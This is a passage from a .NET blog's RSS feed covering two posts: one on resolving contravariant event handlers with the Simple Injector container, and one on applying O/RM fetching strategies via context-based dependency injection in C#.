language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">container.Register&lt;IEventHandler&lt;CustomerMovedEvent&gt;,<br />    CustomerMovedEventHandler&gt;();<br />container.Register&lt;IEventHandler&lt;CustomerMovedAbroadEvent&gt;,<br />    CustomerMovedAbroadEventHandler&gt;();</pre><p>When we wrap this in a composite, we get a solution that looks very much like the first scenario. The <span class="type">MultipleDispatchEventHandler</span> would look as follows:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">public sealed class MultipleDispatchEventHandler&lt;TEvent&gt;<br />    : IEventHandler&lt;TEvent&gt;<br />{<br />    private IEnumerable&lt;IEventHandler&lt;TEvent&gt;&gt; handlers;<br /><br />    public MultipleDispatchEventHandler(Container container)<br />    {<br />        var handlerType = typeof(IEventHandler&lt;TEvent&gt;);<br /><br />        var registrations = (<br />            from r in container.GetCurrentRegistrations()<br />            where handlerType.IsAssignableFrom(r.ServiceType)<br />            select r)<br />            .ToArray();<br /><br />        this.handlers =<br />            from r in registrations<br />            select (IEventHandler&lt;TEvent&gt;)r.GetInstance();<br />    }<br /><br />    void IEventHandler&lt;TEvent&gt;.Handle(TEvent e) { ... }<br />}</pre><p>However, there is a problem with this, that you will notice when trying to resolve this composite. Registering open generic types (using the <span class="code">RegisterOpenGeneric</span> or <span class="code">RegisterSingleOpenGeneric</span>) works by hooking onto the container's <span class="code">ResolveUnregisteredType</span> event, which will only get called for unregistered types. We did however already register an <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="type">CustomerMovedEvent</span><span class="code">&gt;</span> and an <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="type">CustomerMovedAbroadEvent</span><span class="code">&gt;</span>. Resolving those handlers will therefore result in the return of a <span class="type">CustomerMovedEventHandler</span> and <span class="type">CustomerMovedAbroadEventHandler</span> respectively. All other <span class="type">IEventHandler</span><span class="code">&lt;TEvent</span><span class="code">&gt;</span> versions will result in the return of the <span class="type">MultipleDispatchEventHandler</span>. Of course, this is not what we want.</p><p>We can fix this by registering the concrete types explicitly:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">container.Register&lt;CustomerMovedEventHandler&gt;();<br />container.Register&lt;CustomerMovedAbroadEventHandler&gt;();</pre><p>Or of course using batch registration:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">container.RegisterManyForOpenGeneric(typeof(IEventHandler&lt;&gt;),<br />    (service, impls) =&gt; container.Register(impls.Single()),<br />    AppDomain.CurrentDomain.GetAssemblies());</pre><p>The supplied registration callback in the <span class="code">RegisterManyForOpenGeneric</span> method simply calls the non-generic <span class="code">Register</span> method overload, and because there is only one implementation per service type, we can call <span class="code">impls.Single()</span>. In case there were more implementations, we could simply do something like this:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">container.RegisterManyForOpenGeneric(typeof(IEventHandler&lt;&gt;),<br />    (_, impls) =&gt; impls.ToList().ForEach(i =&gt; container.Register(i)),<br />    AppDomain.CurrentDomain.GetAssemblies());</pre><p>Now we have to ensure that the <span class="type">MultipleDispatchEventHandler</span> queries for these concrete types:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">public sealed class MultipleDispatchEventHandler&lt;TEvent&gt;<br />    : IEventHandler&lt;TEvent&gt;<br />{<br />    private IEnumerable&lt;IEventHandler&lt;TEvent&gt;&gt; handlers;<br /><br />    public MultipleDispatchEventHandler(Container container)<br />    {<br />        var handlerType = typeof(IEventHandler&lt;TEvent&gt;);<br /><br />        var registrations = (<br />            from r in container.GetCurrentRegistrations()<br />            let assignableInterfaces = (<br />                from intface in r.ServiceType.GetInterfaces()<br />                where handlerType.IsAssignableFrom(intface)<br />                select intface)<br />            where assignableInterfaces.Any()<br />            select r)<br />            .ToArray();<br /><br />        this.handlers =<br />            from r in registrations<br />            select (IEventHandler&lt;TEvent&gt;)r.GetInstance();<br />    }<br /><br />    void IEventHandler&lt;TEvent&gt;.Handle(TEvent e) { ... }<br />}<br /></pre><p>Instead of querying the container for <span class="type">IEventHandler</span><span class="code">&lt;TEvent</span><span class="code">&gt;</span> registrations, we query the container for service types that implement the <span class="type">IEventHandler</span><span class="code">&lt;TEvent</span><span class="code">&gt;</span> interface.</p><p>With this we successfully finished this third scenario. However, in the name of science, let's take a look at a different approach, using unregistered type resolution. Just as we did with the second scenario, we can use unregistered type resolution. Take a look at the following extension method:</p><pre class="cs" language="csharp" customtypes="IEnumerable CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">public static void AllowToResolveVariantCollections(<br />    this Container container)<br />{<br />    container.ResolveUnregisteredType += (sender, e) =&gt;<br />    {<br />        // Only handle IEnumerable&lt;T&gt;.<br />        if (!e.UnregisteredServiceType.IsGenericType || <br />            e.UnregisteredServiceType.GetGenericTypeDefinition() != <br />                typeof(IEnumerable&lt;&gt;))<br />        {<br />            return;<br />        }<br /><br />        Type serviceType = <br />            e.UnregisteredServiceType.GetGenericArguments()[0];<br /><br />        if (!serviceType.IsGenericType)<br />        {<br />            return;<br />        }<br /><br />        Type def = serviceType.GetGenericTypeDefinition();<br /><br />        var registrations = (<br />            from r in container.GetCurrentRegistrations()<br />            where r.ServiceType.IsGenericType<br />            where r.ServiceType.GetGenericTypeDefinition() == def<br />            where serviceType.IsAssignableFrom(r.ServiceType)<br />            select r)<br />            .ToArray();<br />        <br />        if (registrations.Any())<br />        {<br />            var instances =<br />                registrations.Select(r =&gt; r.GetInstance());<br /><br />            var castMethod = typeof(Enumerable).GetMethod(&quot;Cast&quot;)<br />                .MakeGenericMethod(serviceType);<br /><br />            var castedInstances =<br />                castMethod.Invoke(null, new[] { instances });<br /><br />            e.Register(() =&gt; castedInstances);<br />        }<br />    };<br />}</pre><p>This extension method looks much like the extension method we've seen in the second scenario, with a few differences. First of all, this extension method handles <span class="type">IEnumerable</span><span class="code">&lt;T&gt;</span> types. Just like before it searches the container for assignable types, but if they are found, an <span class="type">IEnumerable</span><span class="code">&lt;T&gt;</span> is constructed that will return all found services.</p><p>We can use this extension method as follows:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">container.AllowToResolveVariantCollections();</pre><p>With the current configuration we can now request an <span class="type">IEnumerable</span><span class="code">&lt;</span><span class="type">IEventHandler</span><span class="code">&lt;TEvent&gt;&gt;</span> and get all assignable implementations:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">var handlers = container<br />    .GetAllInstances&lt;IEventHandler&lt;CustomerMovedAbroadEvent&gt;&gt;();</pre><p>This will result in a list that contains both the <span class="type">CustomerMovedEventHandler</span> and <span class="type">CustomerMovedAbroadEventHandler</span>.</p><p>As you can see there are many ways to skin a cat. If your scenario is (slightly) different from what we've discussed and you are experiencing some difficulties in finding a good solution, please drop me a note, or <a rel="external" href="http://stackoverflow.com/questions/ask?tags=simple-injector%20ioc-container%20dependency-injection%20.net%20c%23&amp;title=Simple%20Injector:%20Contravariance" title="Ask about the Simple Injector at Stackoverflow.com">ask at Stackoverflow</a> (don't forget to tag your question with '<a rel="external" href="http://stackoverflow.com/questions/tagged/simple-injector" title="Stackoverflow - simple-injector tag">simple-injector</a>').</p><p>That's all for now.</p><h4>Happy injecting!</h4> ]]></description>
			<guid isPermaLink="false">90@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Dependency injection, Simple Injector</category>
			<pubDate>Sat, 01 Oct 2011 17:08:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Faking your LINQ Provider part 2: Optimizing performance with fetching strategies</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=89</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=89#comm</comments>
                        <description><![CDATA[ This sequel explains how to write O/RM specific performance optimizations in such a way that the core business logic won&rsquo;t be affected. This article builds on top of the foundation described in part 1 and uses the Fetching Strategy design pattern to achieve this goal.<p><img src="http://www.cuttingedge.it/blogs/steven/images/chain.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="" alt="" class="pivot-image" />In <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=84" title=".NET Junkie's weblog - Faking your LINQ provider">part 1</a> of this series I described how to hide our LINQ enabled O/RM tool behind an abstraction with the main goal to be able to unit test the application, while keeping the ability to write LINQ (over IQueryable) queries in the business layer.</p><p>One of the short comes noted at the end of the article is that optimizing the code is harder. In fact this is only partly true, because when you have mastered the art of writing good LINQ queries, you&rsquo;ll notice that many performance problems can be fixed with it (including little neat tricks such as <a rel="external" href="http://damieng.com/" title="DamienG's blog">Damien&rsquo;s</a> <a rel="external" href="http://damieng.com/blog/2010/05/21/include-for-linq-to-sql-and-maybe-other-providers" title="DamienG - Include for LINQ to SQL (and maybe other providers)">Include extension method</a>). On the other hand, because LINQ statements tend to be written on a higher level of abstraction, our O/RM tool sometimes transforms them poorly to SQL. I had to deal with this a lot the last couple of months. Sometimes a single let statement was the <a rel="external" href="http://twitter.com/#!/dot_NET_Junkie/status/68586218958499840">difference</a> between a tunable SQL query and an hideous performance hog.</p><p>However, because we are hiding our O/RM tool behind an abstraction, it obviously gets harder to do O/RM specific optimizations. Or at least, there is no way to do this at the same place as we were used to. Think about how for instance LINQ to SQL contains the <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.data.linq.dataloadoptions.aspx" title="MSDN - DataLoadOptions Class">DataLoadOptions</a> class that allows us to inform LINQ to SQL to do fetch related entities in advance. Most modern O/RM tools have similar options to configure loading behavior.</p><p>The chosen design forces us to write these optimizations in a different way, which gives us the opportunity to come with a flexible design that follows the <a rel="external" href="http://en.wikipedia.org/wiki/Solid_%28object-oriented_design%29" title="Wikipedia - SOLID">SOLID</a> design principles. For instance by applying <a rel="external" href="http://www.udidahan.com/" title="Udi Dahan's weblog">Udi Dahan&rsquo;s</a> <a rel="external" href="http://www.udidahan.com/2007/09/16/fetching-strategy-nhibernate-implementation-available/" title="Udi Dahan's weblog -    	 Fetching Strategy NHibernate Implementation Available">Fetching Strategies</a>.</p><p>The idea behind Udi&rsquo;s Fetching Strategies is to define specific classes that describe O/RM specific optimizations for a single service. The class is therefore very focused (<a rel="external" href="http://en.wikipedia.org/wiki/Single_responsibility_principle" title="Wikipedia - Single Responsibility Principle">Single Responsibility Principle</a>), and new optimizations can be plugged in easily (<a rel="external" href="http://en.wikipedia.org/wiki/Open/closed_principle" title="Wikipedia - Open-Closed Principle">Open-Closed Principle</a>), without the need to change any other part of the system. Because these optimizations are O/RM specific, you want to separate them from the services that they optimize. Those services contain the core logic of the application, working against an abstraction, while the strategies themselves are an implementation detail. These strategies could easily be located in a different assembly or even in the <a rel="external" href="http://stackoverflow.com/questions/6277771/what-is-a-composition-root-in-the-context-of-dependency-injection" title="Stackoverflow - What is a composition root in the context of Dependency Injection">composition root</a> of the application.</p><p>While the goal of the <span class="type">IUnitOfWorkFactory</span> was to hide the O/RM tool, the interface for applying optimizations does not try to hide the O/RM at all. On the contrary: the interface will be defined for a specific O/RM. For LINQ to SQL the interface might look like this:</p><pre class="cs" language="csharp" customtypes="AttributeMappingSource CommandHandlerBase Container Customer DataLoadOptions FetchingNorthwindUnitOfWorkFactory IFetchingStrategy IUnitOfWorkFactory LinqToSqlDataMapper MappingSource MoveCustomerCommand MoveCustomerCommandHandler MoveCustomerHandlerFetchingStrategy ,NorthwindUnitOfWork NorthwindUnitOfWorkFactory NullFetchingStrategy" customvaluetypes="PutYourCustomValueTypesHere">public interface IFetchingStrategy&lt;TService&gt;<br />{<br />    void Prepare(DataLoadOptions loadOptions);<br />}</pre><p>Say for instance that our system contains a <span class="type">MoveCustomerCommand</span> that gets processed by a <span class="type">MoveCustomerCommandHandler</span> (see <a rel="external" href="entry.php?id=84#application_code" title=".NET Junkie's weblog - Faking your LINQ provider - application code">an example of a command and a handler</a> in my previous article). In that case we could define a <span class="type">MoveCustomerHandlerFetchingStrategy</span> that changes the default loading behavior of the <span class="type">DataContext</span> class when the <span class="type">MoveCustomerCommandHandler</span> requests a new context:</p><pre class="cs" language="csharp" customtypes="AttributeMappingSource CommandHandlerBase Container Customer DataLoadOptions FetchingNorthwindUnitOfWorkFactory IFetchingStrategy IUnitOfWorkFactory LinqToSqlDataMapper MappingSource MoveCustomerCommand MoveCustomerCommandHandler MoveCustomerHandlerFetchingStrategy ,NorthwindUnitOfWork NorthwindUnitOfWorkFactory NullFetchingStrategy" customvaluetypes="PutYourCustomValueTypesHere">public sealed class MoveCustomerHandlerFetchingStrategy<br />    : IFetchingStrategy&lt;MoveCustomerCommandHandler&gt;<br />{<br />    public void Prepare(DataLoadOptions loadOptions)<br />    {<br />        loadOptions.LoadWith&lt;Customer&gt;(c =&gt; c.Orders);<br />    }<br />}</pre><p>This fetching strategy just tells the LINQ to SQL <span class="type">DataLoadOptions</span> instance that for each customer that it loads from the database, it should load all its orders in the same SQL query.</p><p>It might seem that this approach gives a lot of overhead, but don&rsquo;t forget that we would probably just end up with a dozen of fetching strategy classes, because we would only add a new strategy when we&rsquo;ve got a performance problem.</p><p>Defining the interface and a concrete strategy is the easy part. Now we must ensure that fetching strategies get applied on the service they relate to. There are several ways to do this. A na&iuml;ve approach would be to inject a fetching strategy directly into the particular service. This will unfortunately break the abstraction. Here is an example:</p><pre class="cs badcode" language="csharp" customtypes="NorthwindUnitOfWork AttributeMappingSource CommandHandlerBase Container Customer DataLoadOptions FetchingNorthwindUnitOfWorkFactory IFetchingStrategy IUnitOfWorkFactory LinqToSqlDataMapper MappingSource MoveCustomerCommand MoveCustomerCommandHandler MoveCustomerHandlerFetchingStrategy ,NorthwindUnitOfWork NorthwindUnitOfWorkFactory NullFetchingStrategy ICommandHandler" customvaluetypes="PutYourCustomValueTypesHere">public class MoveCustomerCommandHandler<br />    : ICommandHandler&lt;MoveCustomerCommand&gt;<br />{<br />    private IFetchingStrategy&lt;MoveCustomerCommandHandler&gt; strategy;<br />    private IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt; factory;<br /><br />    public MoveCustomerCommandHandler(<br />        IFetchingStrategy&lt;MoveCustomerCommandHandler&gt; strategy,<br />        IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt; factory)<br />    {<br />        this.strategy = strategy;<br />        this.factory = factory;<br />    }<br /><br />    public void Handle(MoveCustomerCommand command)<br />    {<br />        using (var context = this.factory.CreateNew())<br />        {<br />            var options = new System.Data.Linq.DataLoadOptions();<br /><br />            this.strategy.Prepare(options);<br /><br />            // Set the options to the L2S DataContext here.<br /><br />            // Business logic<br />        }<br />    }<br />}</pre><p>There are a few problems with this approach. First of all, this is still too much code for something that should work transparently in the background. Besides this (or perhaps even because of this) it is easy to forget about preparing the context with a fetching strategy and in that case, we would end up having to change the class to add this when we need the performance optimization. This would therefore break with the Open-Closed principle. But more importantly, this couples our business logic to a specific O/RM framework (LINQ to SQL in this case), which was the thing that we tried to prevent in the first place. In other words, this is not the way to go.</p><p>It would be better to let the unit of work factory handle preparing the context itself. It is the specific unit of work factory implementation that knows about the used O/RM technology and has a reference to the <span class="type">DataContext</span> class. The question now becomes: how do we let the factory know how it should prepare the <span class="type">DataContext</span>?</p><p>The easiest way to do this, would be to pass the type of our current service on to the factory. This can be done as follows:</p><pre class="cs" language="csharp" customtypes="NorthwindUnitOfWork AttributeMappingSource CommandHandlerBase Container Customer DataLoadOptions FetchingNorthwindUnitOfWorkFactory IFetchingStrategy IUnitOfWorkFactory LinqToSqlDataMapper MappingSource MoveCustomerCommand MoveCustomerCommandHandler MoveCustomerHandlerFetchingStrategy ,NorthwindUnitOfWork NorthwindUnitOfWorkFactory NullFetchingStrategy" customvaluetypes="PutYourCustomValueTypesHere">&nbsp;   public MoveCustomerCommandHandler(<br />        IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt; factory)<br />    {<br />        this.factory = factory;<br />    }<br /><br />    public void Handle(MoveCustomerCommand command)<br />    {<br />        // Here we pass the &lsquo;this&rsquo; argument to the CreateNew.<br />        using (var context = this.factory.CreateNew(this))<br />        {<br />             // Business logic<br />        }<br />    }</pre><p>For this to work we need to change the definition of the <span class="type">IUnitOfWorkFactory</span><span class="code">&lt;TUnitOfWork&gt;</span> interface to the following:</p><pre class="cs" language="csharp" customtypes="AttributeMappingSource CommandHandlerBase Container Customer DataLoadOptions FetchingNorthwindUnitOfWorkFactory IFetchingStrategy IUnitOfWorkFactory LinqToSqlDataMapper MappingSource MoveCustomerCommand MoveCustomerCommandHandler MoveCustomerHandlerFetchingStrategy ,NorthwindUnitOfWork NorthwindUnitOfWorkFactory NullFetchingStrategy" customvaluetypes="PutYourCustomValueTypesHere">public interface IUnitOfWorkFactory&lt;TUnitOfWork&gt;<br />{<br />    TUnitOfWork CreateNew&lt;TService&gt;(TService service);<br />}</pre><p>A particular implementation could then look like this:</p><pre class="cs" language="csharp" customtypes="AttributeMappingSource CommandHandlerBase Container Customer DataLoadOptions FetchingNorthwindUnitOfWorkFactory IFetchingStrategy IUnitOfWorkFactory LinqToSqlDataMapper MappingSource MoveCustomerCommand MoveCustomerCommandHandler MoveCustomerHandlerFetchingStrategy ,NorthwindUnitOfWork NorthwindUnitOfWorkFactory NullFetchingStrategy NorthwindUnitOfWork DataContext" customvaluetypes="PutYourCustomValueTypesHere">// This is a LINQ to SQL specific implementation.<br />public sealed class NorthwindUnitOfWorkFactory<br />    : IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt;<br />{<br />    private static MappingSource Source = <br />        new AttributeMappingSource();<br /><br />    // A reference to the application&rsquo;s DI container.<br />    private readonly Container container;<br />    private readonly string conStr;<br /><br />    public NorthwindUnitOfWorkFactory(Container container, <br />        string conStr)<br />    {<br />        this.container = container;<br />        this.conStr = conStr;<br />    }<br /><br />    public NorthwindUnitOfWork CreateNew&lt;TService&gt;(TService service)<br />    {<br />        var db = new DataContext(this.conStr, Source);<br /><br />        this.Prepare&lt;TService&gt;(db);<br /><br />        var mapper = new LinqToSqlDataMapper(db);<br /><br />        return new NorthwindUnitOfWork(mapper);<br />    }<br /><br />    private void Prepare&lt;TService&gt;(DataContext db)<br />    {<br />        // Get a strategy for the correct type from the container.<br />        var fetchingStrategy = <br />            this.container.GetInstance&lt;IFetchingStrategy&lt;TService&gt;&gt;();<br /><br />        var loadOptions = new DataLoadOptions();<br /><br />        fetchingStrategy.Prepare(loadOptions);<br /><br />        // Register the load options to the DataContext.<br />        db.LoadOptions = loadOptions;<br />    }<br />}</pre><p>Nice about this approach is that it is pretty easy to implement and easy to grasp. Downside is that there is now some sort of wart in our code, that instantly seems less clean. Why should we pass on the service itself onto the factory? I rather inject a factory into the service that already knows how to do the proper preparation. For this to work however, we need context based injection.</p><p>Context based dependency injection is the ability to base the decision about what to inject on the context in which the dependency is injected. In our case it would be useful to make the decision based on the type the dependency is injected in. In other words, we base the actual factory type on the type of the service in which we inject that factory. Defining a generic factory allows us to specify the service type we need:</p><pre class="cs" language="csharp" customtypes="NorthwindUnitOfWork IDataMapper AttributeMappingSource CommandHandlerBase Container Customer DataLoadOptions FetchingNorthwindUnitOfWorkFactory IFetchingStrategy IUnitOfWorkFactory LinqToSqlDataMapper MappingSource MoveCustomerCommand MoveCustomerCommandHandler MoveCustomerHandlerFetchingStrategy ,NorthwindUnitOfWork NorthwindUnitOfWorkFactory NullFetchingStrategy" customvaluetypes="PutYourCustomValueTypesHere">public sealed class FetchingNorthwindUnitOfWorkFactory&lt;TService&gt;<br />    : IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt;<br />{<br />    private IFetchingStrategy&lt;TService&gt; fetchingStrategy;<br />    private IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt; realFactory;<br /><br />    public FetchingNorthwindUnitOfWorkFactory(<br />        IFetchingStrategy&lt;TService&gt; fetchingStrategy,<br />        IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt; realFactory)<br />    {<br />        this.fetchingStrategy = fetchingStrategy;<br />        this.realFactory = realFactory;<br />    }<br /><br />    public NorthwindUnitOfWork CreateNew()<br />    {<br />        var unitOfWork = this.realFactory.CreateNew();<br /><br />        this.Prepare(unitOfWork.Mapper);<br /><br />        return unitOfWork;<br />    }<br /><br />    private void Prepare(IDataMapper mapper)<br />    {<br />        var loadOptions = new DataLoadOptions();<br /><br />        this.fetchingStrategy.Prepare(loadOptions);<br /><br />        var dataMapper = (LinqToSqlDataMapper)mapper;<br /><br />        dataMapper.Context.LoadOptions = loadOptions;<br />    }<br />}</pre><p>This factory is a generic type and depends on an <span class="type">IFetchingStrategy</span><span class="code">&lt;TService&gt;</span> where the generic type of that strategy is the same as that of the factory. By requesting a factory from the DI container for a specific service, it would be loaded with the fetching strategy that is specific for the given service.</p><p>Also note how this factory wraps another factory; the factory that actually creates the context (see part 1 for the code for that factory). Besides adhering to the Open-Closed Pinciple (OCP), this allows us to inject the &lsquo;normal&rsquo; factory for groups of types that never have any strategy defined for them, while injecting this factory for groups of types that do. Also note how the factory itself is clean of the container itself, which makes it easier to test it.</p><p><em>Warning: I&rsquo;m trying to keep things simple. Although the previous class adherers to the OCP, it breaks the <a rel="external" href="http://en.wikipedia.org/wiki/Liskov_substitution_principle" title="Wikipedia - Liskov substitution principle">Liskov Substitution Principle</a>.</em></p><p>Now we need context based injection to inject the correct instance into a service that depends on an <span class="type">IUnitOfWorkFactory</span><span class="code">&lt;</span><span class="type">NorthwindUnitOfWork</span><span class="code">&gt;</span>. Context based injection however, is an advanced feature that not all DI containers natively support. Containers such as <a rel="external" href="http://code.google.com/p/autofac/" title="Autofac">Autofac</a> and my own <a rel="external" href="http://simpleinjector.codeplex.com" title="Simple Injector">Simple Injector</a>, lack this feature. This doesn&rsquo;t mean however that it is impossible to do such things with these containers. On the contrary; The way to achieve this is by breaking the dependency chain and moving from constructor injection to property injection and moving that property to a non-generic base class. Downside of this is that it forces us to add a base class, but on the plus side it keeps our registration fairly clean and works with most DI containers (and is therefore a good example for this blog post).</p><p>We can for instance define a non-generic base class that all command handlers should inherit from.</p><pre class="cs" language="csharp" customtypes="NorthwindUnitOfWork AttributeMappingSource CommandHandlerBase Container Customer DataLoadOptions FetchingNorthwindUnitOfWorkFactory IFetchingStrategy IUnitOfWorkFactory LinqToSqlDataMapper MappingSource MoveCustomerCommand MoveCustomerCommandHandler MoveCustomerHandlerFetchingStrategy ,NorthwindUnitOfWork NorthwindUnitOfWorkFactory NullFetchingStrategy" customvaluetypes="PutYourCustomValueTypesHere">public abstract class CommandHandlerBase<br />{<br />    public IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt; Factory { get; set; }<br />}</pre><p>The <span class="type">MoveCustomerCommandHandler</span> that we&rsquo;ve seen earlier will now have to inherit from <span class="type">CommandHandlerBase</span>:</p><pre class="cs" language="csharp" customtypes="ICommandHandler AttributeMappingSource CommandHandlerBase Container Customer DataLoadOptions FetchingNorthwindUnitOfWorkFactory IFetchingStrategy IUnitOfWorkFactory LinqToSqlDataMapper MappingSource MoveCustomerCommand MoveCustomerCommandHandler MoveCustomerHandlerFetchingStrategy ,NorthwindUnitOfWork NorthwindUnitOfWorkFactory NullFetchingStrategy" customvaluetypes="PutYourCustomValueTypesHere">public class MoveCustomerCommandHandler : CommandHandlerBase,<br />    ICommandHandler&lt;MoveCustomerCommand&gt;<br />{<br />    public void Handle(MoveCustomerCommand command)<br />    {<br />        using (var context = this.Factory.CreateNew())<br />        {<br />            // Business logic<br />        }<br />    }<br />}</pre><p>What&rsquo;s left is the registration of the DI container. Here is an example of how to do this with the Simple Injector:</p><pre class="cs" language="csharp" customtypes="AttributeMappingSource CommandHandlerBase Container Customer DataLoadOptions FetchingNorthwindUnitOfWorkFactory IFetchingStrategy IUnitOfWorkFactory LinqToSqlDataMapper MappingSource MoveCustomerCommand MoveCustomerCommandHandler MoveCustomerHandlerFetchingStrategy ,NorthwindUnitOfWork NorthwindUnitOfWorkFactory NullFetchingStrategy NorthwindUnitOfWork" customvaluetypes="PutYourCustomValueTypesHere">container.RegisterInitializer&lt;CommandHandlerBase&gt;(handler =&gt;<br />{<br />    var type = typeof(FetchingNorthwindUnitOfWorkFactory&lt;&gt;)<br />        .MakeGenericType(handler.GetType());<br /><br />    handler.Factory = (IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt;)<br />        container.GetInstance(type);<br />});</pre><p>This code registers an event that will be called every time an instance that derives from <span class="type">CommandHandlerBase</span> is created by the container. Based on the actual type of that instance, we determine the type of the <span class="type">FetchingNorthwindUnitOfWorkFactory</span><span class="code">&lt;T&gt;</span>, request that from the container, and inject it into the property of the base type.</p><p>This type of registration works with almost all modern DI containers. As far as I see, the only container that does not support this is <a rel="external" href="http://unity.codeplex.com/" title="Unity">Microsoft Unity</a>. The only way I can think of to solve this with Unity is by calling a static instance of the container from within the <span class="type">CommandHandlerBase</span> class; yuck! If anyone knows a better way, please let me know. I will update the article.</p><p>The <a rel="external" href="http://simpleinjector.codeplex.com/" title="Simple Injector">Simple Injector</a> however, does contain some interesting extension points that allow to add features such as context based injection. The <a rel="external" href="http://simpleinjector.codeplex.com/documentation" title="Simple Injector - Documentation">Simple Injector documentation </a>contains <a rel="external" href="simpleinjector.codeplex.com/wikipage?title=Advanced-scenarios#Context_Based_Injection" title="Simple Injector - Advanced Scenarios - Context Based Injection">a section about context based injection</a> and describes a <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=ContextDependentExtensions" title="Simple Injector - Adding context dependent injection to the Simple Injector">RegisterWithContext extension method</a>. When using this method you can remove the <span class="type">CommandHandlerBase</span> class and return to injecting a <span class="type">IUnitOfWorkFactory</span><span class="code">&lt;</span><span class="type">NorthwindUnitOfWork</span><span class="code">&gt;</span> into the constructor of your services. Instead of registering an initializer for the <span class="type">CommandHandlerBase</span>, we can simply register the <span class="type">IUnitOfWorkFactory</span><span class="code">&lt;</span><span class="type">NorthwindUnitOfWork</span><span class="code">&gt;</span> using the <span class="code">RegisterWithContext</span> extension method:</p><pre class="cs" language="csharp" customtypes="IUnitOfWorkFactory NorthwindUnitOfWork FetchingNorthwindUnitOfWorkFactory" customvaluetypes="PutYourCustomValueTypesHere">container.RegisterWithContext&lt;IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt;&gt;(<br />    context =&gt;<br />    {<br />        var type = typeof(FetchingNorthwindUnitOfWorkFactory&lt;&gt;)<br />            .MakeGenericType(context.ImplementationType);<br /><br />        return (IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt;)<br />            container.GetInstance(type);<br />    });</pre><p>The code looks much like the previous <span class="code">RegisterInitializer</span> registration, but now uses the supplied <span class="code">context</span> to get the <span class="code">ImplementationType</span>.</p><p><em>Please note that this code is specific to the Simple Injector, and it might be difficult to translate it to another container. </em></p><p>The <span class="type">FetchingNorthwindUnitOfWorkFactory</span><span class="code">&lt;T&gt;</span> class depends on a <span class="type">IFetchingStrategy</span><span class="code">&lt;TService&gt;</span>, so of course we must also register the fetching strategies:</p><pre class="cs" language="csharp" customtypes="IFetchingStrategy" customvaluetypes="PutYourCustomValueTypesHere">container.RegisterManyForOpenGeneric(typeof(IFetchingStrategy&lt;&gt;),<br />    AppDomain.CurrentDomain.GetAssemblies());</pre><p>This searches through all assemblies in the current AppDomain looking for concrete types that implement a closed generic version of the <span class="type">IFetchingStrategy</span><span class="code">&lt;TService&gt;</span> interface and registers them by that interface. This type of registration is called batch registration. Because however, most services will not have any fetching strategy class defined for them, we must register a fallback implementation for those:</p><pre class="cs" language="csharp" customtypes="IFetchingStrategy NullFetchingStrategy" customvaluetypes="PutYourCustomValueTypesHere">container.RegisterOpenGeneric(typeof(IFetchingStrategy&lt;&gt;), <br />    